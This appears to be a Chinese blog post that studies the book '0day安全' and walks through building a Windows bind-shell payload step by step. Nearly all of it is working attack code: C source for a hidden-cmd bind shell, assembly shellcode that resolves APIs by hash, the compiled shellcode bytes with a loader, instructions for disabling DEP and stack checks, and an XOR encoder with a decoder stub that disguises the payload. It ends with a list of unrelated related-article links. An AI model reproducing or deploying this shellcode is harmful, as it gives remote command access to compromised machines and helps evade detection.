最近学习《0day安全》一书 记录一下调试编码过程

书中环境XP VC6 本机的环境是server 2008 r2 x64  编译环境是vs2013

第一步:

首先是写一个win c版本的bindshell 代码如下:

#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")void main()
{//1.初始化一个socket服务WSADATA stWSA;WSAStartup(0x0202, &stWSA);SOCKET stListen = INVALID_ATOM;//2.创建一个原始套接字stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);SOCKADDR_IN stService;stService.sin_addr.s_addr = INADDR_ANY;//3.在任意地址上绑定一个端口stService.sin_port = htons(1414);stService.sin_family = AF_INET;bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));//4.监听连接listen(stListen, SOMAXCONN);//5.接受一个连接stListen = accept(stListen, 0, 0);//6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上PROCESS_INFORMATION stPI = { 0 };STARTUPINFOA stSI = { 0 };stSI.cb = sizeof(stSI);stSI.wShowWindow = SW_HIDE;stSI.dwFlags = STARTF_USESTDHANDLES;stSI.hStdInput = (HANDLE)stListen;stSI.hStdError = (HANDLE)stListen;stSI.hStdOutput = (HANDLE)stListen;CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);//7.关闭相关句柄并释放相关资源CloseHandle(stPI.hProcess);CloseHandle(stPI.hThread);closesocket(stListen);WSACleanup();return;
}

一来可以看看怎么实现  需要用到哪些API  二来可以 后边与shellcode做的效果对比

需要用到的ws2_32中的API有 WSAStartup WSASocketA bind listen accept

再加上shellcode框架所需的kernel32.dll中的API有 LoadLibraryA  CreateProcessA ExitProcess 一共8个函数

第二步:

取得这些函数名的hash摘要 用于后边寻找上边8个函数地址  具体方法原理 参考

shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)

这里值得注意的是 为了减少shellcode的代码量  把每个函数名的hash结果规定为一个字节

一个字节最大有256个数 最多能分辨256个API 书中环境的kernel32.dll API数量900多个

虽会出现hash碰撞 但能找到合理的key 算出函数名称的hash  在shellcode中定位API时 第一个出现所需函数 从而得到函数地址

本机测试系统kernel32.dll中有1500多个 遍历0~0xff都无法找到一个key 让上边8个函数同时满足

所以修改为kernel32.dll为一个key ws2_32.dll为一个key 分别算出函数名对应的hash摘要 用到后边的shellcode定位中

由于手动尝试效率较低 顾写程序获得 代码如下:

#include<windows.h>
#include<stdio.h>//得到API字符串的单字节hash摘要
unsigned char GetHash(char * fun_name, unsigned char cXor)
{unsigned char cValue;__asm{pushadpushfdmov esi,fun_namecdqhash_loop:lodsbxor al, cXorsub dl, alcmp al, cXorjne hash_loopmov cValue, dlpopfdpopad}return cValue;
}void main()
{char listDllApi[][10][20] = {{ "kernel32.dll", "LoadLibraryA", "CreateProcessA", "ExitProcess" },{ "ws2_32.dll", "WSAStartup", "WSASocketA", "bind", "listen", "accept" } };unsigned char cHash;ULONG ulDllBase = NULL, ulAddr=0, nCount=0;PCHAR pFunctionName = NULL;BOOL bFind=TRUE;for (int n = 0; n < _countof(listDllApi) ; n++){for (int i = 0; i < 0xff; i++){bFind = TRUE;for (int m = 0; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++){if (m == 0){ulDllBase = (ULONG)LoadLibraryA(listDllApi[n][m]);continue;}cHash = GetHash(listDllApi[n][m], i);ulAddr = *(PULONG)(ulDllBase + 0x3c);ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x78);nCount = *(PULONG)(ulDllBase + ulAddr + 0x14);ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x20);for (int x = 0; x < nCount; x++){pFunctionName = (PCHAR)(*(PULONG)(ulDllBase + ulAddr + 4 * x) + ulDllBase);if (GetHash(pFunctionName, i) == cHash){break;}}if (strcmp(pFunctionName, listDllApi[n][m]) != 0){bFind = FALSE;break;}}if (bFind){printf("\n%s find xor unsigned char : 0x%x\n", listDllApi[n][0], i);for (int m = 1; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++){printf("%s hash key is:0x%x\n", listDllApi[n][m], GetHash(listDllApi[n][m], i));}}}}getchar();
}

运行效果如下:

寻找到结果还有很多 这只是一部分 然后把8个api的值放入od中 看看汇编代码是什么  这里用到的思想是 代码是数据 数据是代码

这些值放在shellcode的最前边 用于后边定位API的hash比较的  执行他们不需要什么功能 只要不发生错误 不改变程序流程就行

经测试kernel32.dll使用0x39 对应API的hash摘要 LoadLibraryA:0x81   CreateProcessA:0xd9  ExitProcess:0x19

ws2_32.dll使用0x6e 对应API的hash摘要 WSAStartup:0x18  WSASocketA:0x49  bind:0x75  listen:0x47  accept:0x26

这几个值放入OD中效果如图:

可以看到这几条汇编指令并不影响 程序的流程 最后的0x43是后边的数据

至此基本确定了dll api的hash摘要

第三步:

编写shellcode的汇编代码 具体如下:

__asm{// eax points here// function hashes (executable as nop-equivalent)_emit 0x81          // LoadLibraryA     // sbb     ecx, 0x75491819_emit 0xd9            // CreateProcessA   // ..._emit 0x19            // ExitProcess      // ..._emit 0x18            // WSAStartup       // ..._emit 0x49            // WSASocketA       // ..._emit 0x75            // bind         // ..._emit 0x47            // listen       // inc     edi_emit 0x26            // accept       // inc     ebx// CMd_emit 0x43          // inc ebx_emit 0x4d            // dec ebp_emit 0x64            // FS:// start of proper codecdq                // set dex=0 (eax points to stack so is less than 0x80000000)xchg  eax,esi         // esi = addr of first function hashlea edi, [esi-0x18]        // edi = addr of start writing function // address (last addr will be written just before "cmd")// find base addr of kernel32.dllmov ebx, fs:[edx+0x30] // ebx = address of PEBmov ecx, [ebx+0x0c]        // ecx = pointer to loader datamov ecx, [ecx+0x1c]        // ecx = first entry in initialisation order listmov ecx, [ecx]            // ecx = second entry in list kernelbase.dllmov ecx, [ecx]         // ecx = three entry in list kernel32.dllmov ebp, [ecx+0x08]      // ebp = base address of kernel32.dll// make some stack spacemov dh,0x03           // sizeof(WSADATA) is 0x190sub esp,edx              // push a pointer to "ws2_32" onto stackmov dx,0x3233         // rest of edx is nullpush edxpush 0x5f327377push esp// set hash key of kernel32.dllmov dh, 0x39find_lib_functions:lodsb                // load next hash into al and increment esicmp al, 0x18         // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")jne find_functionsxchg eax,ebp           // save current hashcall[edi - 0xc]         // LoadLibraryAxchg eax,ebp         // restore current hash, and update ebp// whith base address of ws2_32.dll push edi         // save location of addr of first winsock function// set hash key of ws2_32.dllmov dh, 0x6efind_functions:pushad                // preserve registersmov eax, [ebp+0x3c]       // eax = start of PE headermov ecx, [ebp+eax+0x78]   // ecx = relative offset of export tableadd ecx,ebp            // ecx = absolute addr of export tablemov ebx, [ecx+0x20]     // ebx = relative offset of names tableadd ebx,ebp         // ebx = absolute addr of names tablexor edi,edi           // edi will count through the functionsnext_function_loop:inc edi               // increment function countermov esi, [ebx+edi*4]      // esi = relative offset of current function nameadd esi,ebp           // esi = absolute addr of current function namexor dl,dl       hash_loop:lodsb             // load next char into al and increment esixor al, dh       // xor current char with 0x70sub dl, al     // update hash with current charcmp al, dh      // loop until we reach end of stringjne hash_loopcmp dl, [esp + 0x1c]      // compare to the requested hash (saved on stack from pushad)jnz next_function_loop//we now have the right functionmov ebx, [ecx + 0x24]       // ebx = relative offset of ordinals tableadd ebx, ebp         // ebx = absolute addr of ordinals tablemov di, [ebx + 2 * edi]       // di = ordinal number of matched functionmov ebx, [ecx + 0x1c]       // ebx = relative offset of address tableadd ebx, ebp          // ebx = absolute addr of address tableadd ebp, [ebx + 4 * edi]   // add to ebp (base addr of module) the relative // offset of matched functionxchg eax, ebp         // move func addr into eaxpop edi               // edi is last onto stack in pushad write stosd             // functon addr to [edi] and increment edipush edipopad             // restore registerscmp esi, edi            // loop until we reach end of last hashjne find_lib_functionspop esi                // saved location of first winsock function// we will lodsd and call each func in sequence// initialize winsockpush esp         // use stack for WSADATApush 0x02           // wVersionRequestedlodsdcall eax           // WSAStartup// null-terminate "cmd"mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked// clear some stack to use as NULL parameterslea ecx, [eax+0x30]        // sizeof(STARTUPINFO) = 0x44mov edi,esprep stosd          // eax is still 0//create socketinc eaxpush eax         // type = 1 (SOCK_STREAM)inc eaxpush eax           // af = 2 (AF_INET)lodsdcall eax           // WSASocketAxchg ebp,eax           // save SOCKET descriptor in ebp// (safe from being changed by remaining API calls)// push bind parametersmov eax, 0x0a1aff02       // ox1a0a = port 6666, 0x02 = AF_INETxor ah,ah            // remove the ff from eaxpush eax           // we use 0x0a1a0002 as both the name (strucht sockaddr)// and namelen (which only needs to be large enough)push esp            // pointer to our sockaddr struct// call bind(), linsten() and accept() in turncall_loop:push ebp           // save SOCKET descriptor (we implicitly pass NULL for all other params)lodsdcall eax           // call the next functiontest eax,eax           // bind() and listen() return 0, // accept() returns a SOCKET descriptor jz call_loop// initialise a STARTUPINFO structrue at espinc byte ptr[esp+0x2d]        // set STARTF_USERTDHANDLES to truesub edi,0x6c         // point edi at hStdInput in STARTUPINFOstosd               // use SOCKET descriptor returned by accept (still in eax)// as the stdin handle same for stdout stosd              // same for stderr (optional)// create processpop eax               // set eax = 0 (STARTUPINFO now at esp+4)push esp         // use stack at PROCESSINFORMATION structure// (STARTUPINFO structrue)push esp          // STARTUPINFO structruepush eax            // lpCurrentDirectory = NULLpush eax           // lpEnvironment = NULLpush eax            // dwCreationFlags = NULLpush 1                // bInheritHandles = TRUEpush eax          // lpThreadAttributes = NULLpush eax           // lpProcessAttributes = NULLpush esi          // lpCommandLine = "cmd"push eax         // lpApplicationName = NULLcall[esi-0x1c]          // CreateProcessA// call ExitProcess()call[esi-0x18]            //ExitProcess}

以上和书上不同处有几点

1.kenel32.dll和ws2_32.dll分别取了hash key 下边的各个函数分别用了2组hash key来计算hash摘要

2.PEB定位kernel32.dll基地址 当前系统是排在第三个 书上环境是排在第二个

3.CreateProcessA函数 参数 bInheritHandles = TRUE 经测试有效 如果为FALSE 无法测试通过

代码中的英文注释 和 shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)都详解代码实现流程

第四步:

得到对应的十六进制代码 并放入shellcode加载框架

把以上代码放入vs编译后 EXE用OD打开 得到对应二进制码 在修改为VS中识别的十六进制码

具体如图:

截图只是一部分 二进制复制到editplus中 修改为vs中识别的十六进制

修改前后如图:

再使用shellcode通用加载框架 代码如下:

char sc[] =
"\x81\xD9\x19\x18\x49\x75\x47\x26\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69"
"\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xB6\x39\xAC\x3C\x18\x75\x08\x95\xFF\x57\xF4\x95\x57\xB6\x6E\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x32\xD2\xAC\x32\xC6\x2A\xD0\x3A\xC6\x75"
"\xF7\x3A\x54\x24\x1C\x75\xE9\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75"
"\xB1\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32"
"\xE4\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54\x50\x50\x50\x6A\x01\x50\x50\x56\x50"
"\xFF\x56\xE4\xFF\x56\xE8";void main()
{__asm{lea eax, scpush eaxret}
}

编译前需要修改VS中的编译参数 去掉VS的栈溢出检查代码 具体如下:

这样一来编译出的执行文件就没有栈检查了 shellcode通用框架也可以使用了

第五步:

此时直接运行EXE还是会出错 经调试发现是内存权限问题 栈空间默认 没有执行和写的权限

原因在于vs2013工程默认开启了DEP 如图:

用LordPE Deluxe打开EXE 修改节区属性 修改前后如图

其实通过OD发现 栈空间其实在.data中 只需要修改.data就可以了 为了防止其他情况这里就全部修改了

Flags的E0000040 对应权限是:

修改后的EXE就可以正常运行了

测试机IP是 192.168.1.115 再测试机运行此EXE

在其他机器 telnet 192.168.1.115 6666 效果如下:

至此shellcode版本的bindshell就实现了 但为了融合前边的变形技术 继续变形shellcode

第六步:

变形的原理是xor 然后把解密头 放在变形后的代码最前边 有点类似于壳中的技术

加解密代码如下:

//原始代码
char sc[] =
"\x81\xD9\x19\x18\x49\x75\x47\x26\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69"
"\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xB6\x39\xAC\x3C\x18\x75\x08\x95\xFF\x57\xF4\x95\x57\xB6\x6E\x60"
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x32\xD2\xAC\x32\xC6\x2A\xD0\x3A\xC6\x75"
"\xF7\x3A\x54\x24\x1C\x75\xE9\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75"
"\xB1\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32"
"\xE4\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54\x50\x50\x50\x6A\x01\x50\x50\x56\x50"
"\xFF\x56\xE4\xFF\x56\xE8";//二进制加密函数
void encoder(char * input, unsigned char key, int display_flag)
{int i = 0, len = 0;FILE * fp;unsigned char * output;len = strlen(input);output = (unsigned char *)malloc(len + 1);if (!output){printf("memory erro!\n");exit(0);}for (int i = 0; i < len; i++){output[i] = input[i] ^ key;}if (!(fp = fopen("encode.txt", "w+"))){printf("output file create erro");exit(0);}fprintf(fp, "\"");for (i = 0; i < len; i++){fprintf(fp, "\\x%0.2x", output[i]);if ((i + 1) % 16 == 0){fprintf(fp, "\"\n\"");}}fprintf(fp, "\";");fclose(fp);printf("dump the encode shellcode to encode.txt OK!\n");if (display_flag){for (i = 0; i < len; i++){printf("%0.2x ", output[i]);if ((i + 1) % 16 == 0){printf("\n");}}}free(output);
}encoder(sc, 0x41, 1);//二进制解密函数
__asm
{add eax, 0x14xor ecx, ecxdecode_loop :mov bl, [eax + ecx]xor bl, 0x41mov[eax + ecx], blinc ecxcmp bl, 0x90jne decode_loop
}

运行加密函数得到encode.txt

把解密函数放到vs中 编译后在od中提取十六进制码 如下图

复制到editplus中修改为vs可用的十六进制码 如下图

把解密代码放到加密后的shellcode前 完整代码如下:

//带解密头的加密代码
char sc2[] =
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x41\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
"\xc0\x98\x58\x59\x08\x34\x06\x67\x02\x0c\x25\xd8\xd7\xcc\x3f\xa9"
"\x25\xca\x1b\x71\xca\x0a\x4d\xca\x08\x5d\xca\x48\xca\x48\xca\x28"
"\x49\xf7\x42\x6a\xa3\x27\xfb\x72\x73\x13\x29\x36\x32\x73\x1e\x15"
"\xf7\x78\xed\x7d\x59\x34\x49\xd4\xbe\x16\xb5\xd4\x16\xf7\x2f\x21"
"\xca\x04\x7d\xca\x0d\x44\x39\x42\x8c\xca\x18\x61\x42\x9c\x72\xbe"
"\x06\xca\x75\xfa\x42\xb4\x73\x93\xed\x73\x87\x6b\x91\x7b\x87\x34"
"\xb6\x7b\x15\x65\x5d\x34\xa8\xca\x18\x65\x42\x9c\x27\xca\x7d\x3a"
"\xca\x18\x5d\x42\x9c\x42\x6d\xfa\xd4\x1e\xea\x16\x20\x7a\xb6\x34"
"\xf0\x1f\x15\x2b\x43\xec\xbe\x91\xc9\x07\x52\xcc\x09\x71\xca\xbd"
"\xb2\xea\x01\x11\x01\x11\xec\xbe\x91\xd4\xf9\x43\xbe\x5b\x4b\x73"
"\xa5\x11\x15\x14\xec\xbe\x91\xc4\x81\x35\xb9\xbf\x05\x65\x6c\xc2"
"\xae\x2d\xea\xea\x19\x15\x15\x11\x11\x11\x2b\x40\x11\x11\x17\x11"
"\xbe\x17\xa5\xbe\x17\xa9";void main()
{__asm{lea eax, sc2push eaxret}
}

此时编译EXE 修改节区权限 效果如先前

这样从 API实现 到shellcode编写调试 到加密就完成了

shellcode中变形bindshell的实现相关推荐

  1. 大型计算机变形,ShellCode编码变形大法 -电脑资料

    现在的很多有溢出漏洞的程序对ShellCode都有特定的要求,一类是对ShellCode的长度大小有限制:另一类就是不能出现某些特殊字符,比如Cmail漏洞不能有大写字母啊,Foxmail不能有0x2 ...

  2. tensor flow lstm 图像 一条直线_【开源计划】图像配准中变形操作(Warp)的pytorch实现...

    前言 按照开源计划的预告,这次我来分享图像配准流程中的变形操作的代码实现.首先我们先来回顾一下配准的流程,我们以这篇Unsupervised End-to-end Learning for Defor ...

  3. css3中变形与动画(三)

    transform可以实现矩阵变换,transition实现属性的平滑过渡,animation意思是动画,动漫,这个属性才和真正意义的一帧一帧的动画相关.本文就介绍animation属性. anima ...

  4. css中变形,css3中变形处理

    transfrom功能 在css3 中可以使用transfrom功能实现文字或图像的旋转,缩放,倾斜,移动等变形处理 deg是css3中使用的一种角度单位. 旋转: 使用rotate方法,在参数中加入 ...

  5. h5 android 字体设置,解决因为手机设置字体大小导致h5页面在webview中变形的BUG

    解决因为手机设置字体大小导致h5页面在webview中变形的BUG 首先,我们做了一个H5页面,在各种手机浏览器中打开都没问题.我们采用了rem单位进行布局,通过JS来动态计算网页的视窗宽度,动态设置 ...

  6. html的页面宽高变形问题,CSS+div 设计的网页在不同浏览器中变形的问题

    给别人做了一个web,自己这边正常,一到对方,机器上,发现变形了,真郁闷,后来才发现时IE 7.0惹得祸,没有办法,学习呗. 如何使网页在IE7.0和火狐中不变形? 以下的方法可行,但并不一定是最简单 ...

  7. 避免word中表格导入excel表格中变形的问题

    1.word中序号自动递增 选中你要添加"单元格",选择"开始"-"编号",定制自己的格式,选中后,自动添加序号 2.把word中表格数据存 ...

  8. 【计算机图形学】Embedded Deformation for shape manipulation在嵌入空间中变形

    Embedded Deformation for shape manipulation 发表期刊:siggraph 2007 1. 概述 本论文通过建立"deformation graph& ...

  9. shellcode中动态定位API

    定位API的原理: 所有的win_32程序都会加载ntdll.dll和kerner32.dll这两个最基础的动态链接库.如果想要在win_32平台下定位kernel32.dll中的API地址 1,首先 ...

最新文章

  1. 使用LCC网络补偿设计无线功率系统
  2. AtCoder Grand Contest 015
  3. 「C++: Eigen」学习笔记
  4. core文件如何分析
  5. 微信小程序开发学习笔记005--微信小程序组件详解
  6. 华为机试HJ50:四则运算
  7. 用 Go 语言给 Lua/OpenResty 写扩展
  8. 20145205 《信息安全系统设计基础》第1周学习总结
  9. 咪咕音乐客户端免费版
  10. 干预型ASO手段——积分墙
  11. 使用并解析 OPML 格式的订阅列表来转移自己的 RSS 订阅(概念篇)
  12. Java第十一章总结
  13. 实朴检测深交所上市:市值44亿 应收账款逾期6587万
  14. 咸鱼Micropython—LED用法
  15. FileReader和FileWrite介绍
  16. 阿里云 mysql tps_MySQL_tps
  17. 影响IT人员未来发展的五个IT新技术方向
  18. android指纹解锁_Android指纹锁
  19. 智能android电视更换播放器,GitHub - xioxu/TvPlayer: android智能电视播放器,可以播放各电视台节目,播放基于ijkplayer的实现。...
  20. MYSQL中修改表的字符集

热门文章

  1. Keil错误fatal error: UTF-16 (LE) byte order mark detected
  2. String类(二)
  3. 搜索引擎(Elasticsearch聚合分析)
  4. 吴恩达机器学习笔记61-应用实例:图片文字识别(Application Example: Photo OCR)【完结】...
  5. 【PWA学习与实践】(3) 让你的WebApp离线可用
  6. 洛谷 P1825 [USACO11OPEN]玉米田迷宫Corn Maze
  7. cf559C. Gerald and Giant Chess(容斥原理)
  8. Eclipse Open J9:Eclipse OMR项目提供的开源JVM
  9. Mac 添加ll命令
  10. DNS域名服务器双master+ntp时间服务器双主+keepalived企业高可用方案 附脚本